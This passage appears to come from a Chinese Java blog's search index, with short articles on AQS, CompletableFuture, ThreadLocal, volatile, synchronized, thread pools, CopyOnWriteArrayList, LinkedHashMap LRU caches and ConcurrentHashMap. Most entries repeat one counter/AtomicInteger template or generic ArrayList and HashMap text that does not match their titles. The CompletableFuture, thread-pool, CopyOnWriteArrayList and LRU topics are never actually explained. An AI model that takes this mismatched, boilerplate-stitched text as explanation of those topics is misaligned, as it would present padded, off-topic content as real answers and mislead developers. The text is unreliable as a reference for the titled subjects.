: -<span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryReleaseShared</span><span class="params">(<span class="type">int</span> releases)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="keyword">if</span> (c == <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                </span><br><span class="line">                <span class="type">int</span> <span class="variable">nextc</span> <span class="operator">=</span> c - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">if</span> (compareAndSetState(c, nextc)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> nextc == <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="实战应用"><a href="#实战应用" class="headerlink" title="实战应用"></a>实战应用</h2><p>#</p><h2 id="自定义同步器"><a href="#自定义同步器" class="headerlink" title="自定义同步器"></a>自定义同步器</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MyLatch</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Sync sync;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="title function_">MyLatch</span><span class="params">(<span class="type">int</span> count)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.sync = <span class="keyword">new</span> <span class="title class_">Sync</span>(count);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">await</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        sync.acquireSharedInterruptibly(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">countDown</span><span class="params">()</span> &#123;</span><br><span class="line">        sync.releaseShared(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        Sync(<span class="type">int</span> count) &#123;</span><br><span class="line">            setState(count);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> getState() == <span class="number">0</span> ? <span class="number">1</span> : -<span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="meta">@Override</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryReleaseShared</span><span class="params">(<span class="type">int</span> releases)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="keyword">if</span> (c == <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                </span><br><span class="line">                <span class="type">int</span> <span class="variable">nextc</span> <span class="operator">=</span> c - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">if</span> (compareAndSetState(c, nextc)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> nextc == <span class="number">0</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>AQS 的核心价值：</p><ol><li><strong>统一的同步框架</strong>：为各种并发工具提供基础</li><li><strong>无锁算法</strong>：使用 CAS 保证原子性</li><li><strong>等待队列</strong>：管理等待中的线程</li><li><strong>可扩展性</strong>：子类只需实现 tryAcquire/tryRelease</li></ol><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>AQS 的核心是一个共享状态（state）加上一个双向链表，线程获取锁失败时会被包装成节点加入队列等待</p></li><li><p>独占模式和共享模式是 AQS 支持的两种基本模式，分别对应 ReentrantLock 和 Semaphore</p></li><li><p>tryAcquire/tryRelease 等方法由子类实现，AQS 提供模板方法和队列管理</p></li><li><p>ConditionObject 是 AQS 的内部类，实现了 Condition 接口，支持线程等待/通知</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>理解 AQS 不仅能帮你更好地使用并发工具，遇到问题时也能快速定位根源。比如排查死锁、分析线程阻塞原因时，知道 AQS 的工作机制会非常有帮助。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CompletableFuture 编排异步任务</title>
      <link href="//completablefuture-bian-pai-yi-bu-ren-wu/"/>
      <url>//completablefuture-bian-pai-yi-bu-ren-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="CompletableFuture-编排异步任务"><a href="#CompletableFuture-编排异步任务" class="headerlink" title="CompletableFuture 编排异步任务"></a>CompletableFuture 编排异步任务</h1><p>CompletableFuture 让异步编程更优雅。本文讲它的核心能力和组合方式。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ThreadLocal 的使用和内存泄漏问题</title>
      <link href="//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/"/>
      <url>//threadlocal-de-shi-yong-he-nei-cun-xie-lou-wen-ti/</url>
      
        <content type="html"><![CDATA[<h1 id="ThreadLocal-的使用和内存泄漏问题"><a href="#ThreadLocal-的使用和内存泄漏问题" class="headerlink" title="ThreadLocal 的使用和内存泄漏问题"></a>ThreadLocal 的使用和内存泄漏问题</h1><p>ThreadLocal 解决了什么问题、会引发什么问题，这是一个经典话题。很多人用 ThreadLocal 存储用户上下文，却忽略了内存泄漏的风险。本文从原理到内存泄漏的处理方式都覆盖到。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ThreadLocal 为每个线程提供独立的变量副本</p></li><li><p>底层使用 ThreadLocalMap 存储，key 是弱引用</p></li><li><p>内存泄漏的原因：ThreadLocal 被回收，但 Entry 仍然引用着 value</p></li><li><p>解决方案：使用完毕后调用 remove() 方法</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>ThreadLocal 是一个强大的工具，但需要谨慎使用。在实际项目中，结合 try-finally 块确保资源被正确清理，可以有效避免内存泄漏问题。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>volatile 能保证什么不能保证什么</title>
      <link href="//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/"/>
      <url>//volatile-neng-bao-zheng-shi-me-bu-neng-bao-zheng-shi-me/</url>
      
        <content type="html"><![CDATA[<h1 id="volatile-能保证什么不能保证什么"><a href="#volatile-能保证什么不能保证什么" class="headerlink" title="volatile 能保证什么不能保证什么"></a>volatile 能保证什么不能保证什么</h1><p>volatile 和 synchronized 经常被拿来比较，但它们解决的问题不一样。很多人误以为 volatile 能保证原子性，其实它只能保证可见性和禁止指令重排。本文从内存模型角度说明 volatile 的作用和局限性。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>volatile 保证可见性：一个线程的修改对其他线程立即可见</p></li><li><p>volatile 禁止指令重排：确保指令按照代码顺序执行</p></li><li><p>volatile 不保证原子性：复合操作仍然需要同步</p></li><li><p>volatile 适合作为状态标志，不适合作为计数器</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>volatile 是一个轻量级的同步手段，适用于特定场景。在实际项目中，需要根据需求选择合适的同步方式，不要过度依赖 volatile。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>synchronized 和 ReentrantLock 怎么选</title>
      <link href="//synchronized-he-reentrantlock-zen-me-xuan/"/>
      <url>//synchronized-he-reentrantlock-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="synchronized-和-ReentrantLock-怎么选"><a href="#synchronized-和-ReentrantLock-怎么选" class="headerlink" title="synchronized 和 ReentrantLock 怎么选"></a>synchronized 和 ReentrantLock 怎么选</h1><p>synchronized 是 Java 并发中最常用也最容易被误解的关键字。从早期的重量级锁到现在的锁升级机制，JVM 对它做了很多优化。本文从底层原理到实际使用，把关键细节讲清楚。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>synchronized 可以修饰方法或代码块，前者锁对象实例，后者锁指定对象</p></li><li><p>锁升级过程：无锁 → 偏向锁 → 轻量级锁 → 重量级锁</p></li><li><p>锁消除和锁粗化是 JVM 的优化手段</p></li><li><p>synchronized 保证原子性、可见性和有序性</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>synchronized 是 Java 并发的基础，理解它的工作机制很重要。在实际项目中，合理使用 synchronized 可以保证线程安全，但也要注意锁的粒度。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>线程池参数如何设置才靠谱</title>
      <link href="//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/"/>
      <url>//xian-cheng-chi-can-shu-ru-he-she-zhi-cai-kao-pu/</url>
      
        <content type="html"><![CDATA[<h1 id="线程池参数如何设置才靠谱"><a href="#线程池参数如何设置才靠谱" class="headerlink" title="线程池参数如何设置才靠谱"></a>线程池参数如何设置才靠谱</h1><p>线程池参数设置不合理会导致各种问题。本文讲合理的设置方式和监控指标。</p><h2 id="先建立一个最小案例"><a href="#先建立一个最小案例" class="headerlink" title="先建立一个最小案例"></a>先建立一个最小案例</h2><p>并发问题不要一开始就上复杂业务。可以先准备一个计数器场景：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码在单线程里没有问题，但多线程同时调用 <code>add()</code> 时，<code>count++</code> 不是原子操作，结果可能比预期小。</p><h2 id="正确处理思路"><a href="#正确处理思路" class="headerlink" title="正确处理思路"></a>正确处理思路</h2><p>如果只是简单计数，可以用 <code>AtomicInteger</code>：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">Counter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">AtomicInteger</span> <span class="variable">count</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AtomicInteger</span>();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">add</span><span class="params">()</span> &#123;</span><br><span class="line">        count.incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">get</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> count.get();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果临界区里有多步业务逻辑，可以考虑 <code>synchronized</code> 或 <code>ReentrantLock</code>。选择时不要只看性能，先看代码是否清晰、锁范围是否足够小、异常时是否能释放锁。</p><h2 id="排查建议"><a href="#排查建议" class="headerlink" title="排查建议"></a>排查建议</h2><p>线上并发问题通常不稳定复现。可以先看日志里是否有重复请求、状态覆盖、库存扣减异常，再用压测或单元测试构造并发场景。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>CopyOnWriteArrayList 适合什么场景</title>
      <link href="//copyonwritearraylist-gua-he-shi-me-chang-jing/"/>
      <url>//copyonwritearraylist-gua-he-shi-me-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="CopyOnWriteArrayList-适合什么场景"><a href="#CopyOnWriteArrayList-适合什么场景" class="headerlink" title="CopyOnWriteArrayList 适合什么场景"></a>CopyOnWriteArrayList 适合什么场景</h1><p>ArrayList 底层是数组，适合按下标快速访问，也适合尾部追加。它不适合频繁在中间插入或删除，因为这会触发元素搬移。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;String&gt; names = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">names.add(<span class="string">&quot;Java&quot;</span>);</span><br><span class="line">names.add(<span class="string">&quot;Spring&quot;</span>);</span><br><span class="line">System.out.println(names.get(<span class="number">0</span>));</span><br></pre></td></tr></table></figure><h2 id="扩容机制"><a href="#扩容机制" class="headerlink" title="扩容机制"></a>扩容机制</h2><p>ArrayList 容量不够时会扩容。扩容不是免费操作，需要创建新数组并复制旧数据。如果能预估大小，建议指定初始容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">List&lt;Long&gt; ids = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;(<span class="number">1000</span>);</span><br></pre></td></tr></table></figure><h2 id="删除元素的正确方式"><a href="#删除元素的正确方式" class="headerlink" title="删除元素的正确方式"></a>删除元素的正确方式</h2><p>遍历时删除元素，不要直接在 for-each 里 remove：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Iterator&lt;String&gt; iterator = names.iterator();</span><br><span class="line"><span class="keyword">while</span> (iterator.hasNext()) &#123;</span><br><span class="line">    <span class="keyword">if</span> (iterator.next().startsWith(<span class="string">&quot;J&quot;</span>)) &#123;</span><br><span class="line">        iterator.remove();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>LinkedHashMap 如何实现 LRU 缓存</title>
      <link href="//linkedhashmap-ru-he-shi-xian-lru-huan-cun/"/>
      <url>//linkedhashmap-ru-he-shi-xian-lru-huan-cun/</url>
      
        <content type="html"><![CDATA[<h1 id="LinkedHashMap-如何实现-LRU-缓存"><a href="#LinkedHashMap-如何实现-LRU-缓存" class="headerlink" title="LinkedHashMap 如何实现 LRU 缓存"></a>LinkedHashMap 如何实现 LRU 缓存</h1><p>HashMap 是 Java 后端最常用的数据结构之一。它适合通过 key 快速找到 value，平均情况下查询、插入接近 O(1)。真正理解 HashMap，要抓住三个点：数组、链表/红黑树、扩容。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;(<span class="number">1024</span>);</span><br></pre></td></tr></table></figure><h2 id="常见坑"><a href="#常见坑" class="headerlink" title="常见坑"></a>常见坑</h2><ul><li>HashMap 不是线程安全的，多线程写入要用 ConcurrentHashMap。</li><li>自定义对象作为 key 时，要正确重写 equals 和 hashCode。</li><li>不要在遍历 Map 时直接修改结构，必要时用迭代器或收集后再处理。</li></ul>]]></content>
      
      
      <categories>
          
          <category> Java集合 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> 集合 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ConcurrentHashMap 为什么适合并发场景</title>
      <link href="//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/"/>
      <url>//concurrenthashmap-wei-shi-me-gua-he-bing-fa-chang-jing/</url>
      
        <content type="html"><![CDATA[<h1 id="ConcurrentHashMap-为什么适合并发场景"><a href="#ConcurrentHashMap-为什么适合并发场景" class="headerlink" title="ConcurrentHashMap 为什么适合并发场景"></a>ConcurrentHashMap 为什么适合并发场景</h1><p>ConcurrentHashMap 为什么在并发场景下更合适，背后涉及哪些实现细节。从 Java 7 到 Java 8，它的实现发生了很大变化。本文结合实际代码讲清楚这些变化和设计思想。</p><h2 id="基本使用"><a href="#基本使用" class="headerlink" title="基本使用"></a>基本使用</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Map&lt;Long, String&gt; userMap = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">userMap.put(<span class="number">1L</span>, <span class="string">&quot;小乐&quot;</span>);</span><br><span class="line">userMap.put(<span class="number">2L</span>, <span class="string">&quot;张三&quot;</span>);</span><br><span class="line">System.out.println(userMap.get(<span class="number">1L</span>));</span><br></pre></td></tr></table></figure><p>HashMap 会先根据 key 的 hash 值定位数组下标。如果多个 key 落在同一个位置，就会形成冲突，Java 8 以后冲突链较长时会转成红黑树。</p><h2 id="扩容为什么要注意"><a href="#扩容为什么要注意" class="headerlink" title="扩容为什么要注意"></a>扩容为什么要注意</h2><p>默认负载因子是 0.75。元素数量超过阈值时，HashMap 会扩容，数组容量通常变成原来的 2 倍。扩容需要重新分布元素，所以如果你大概知道数据量，建议初始化容量：</p><figure class="highlight java"><table><tr><td class="code"><pre><span 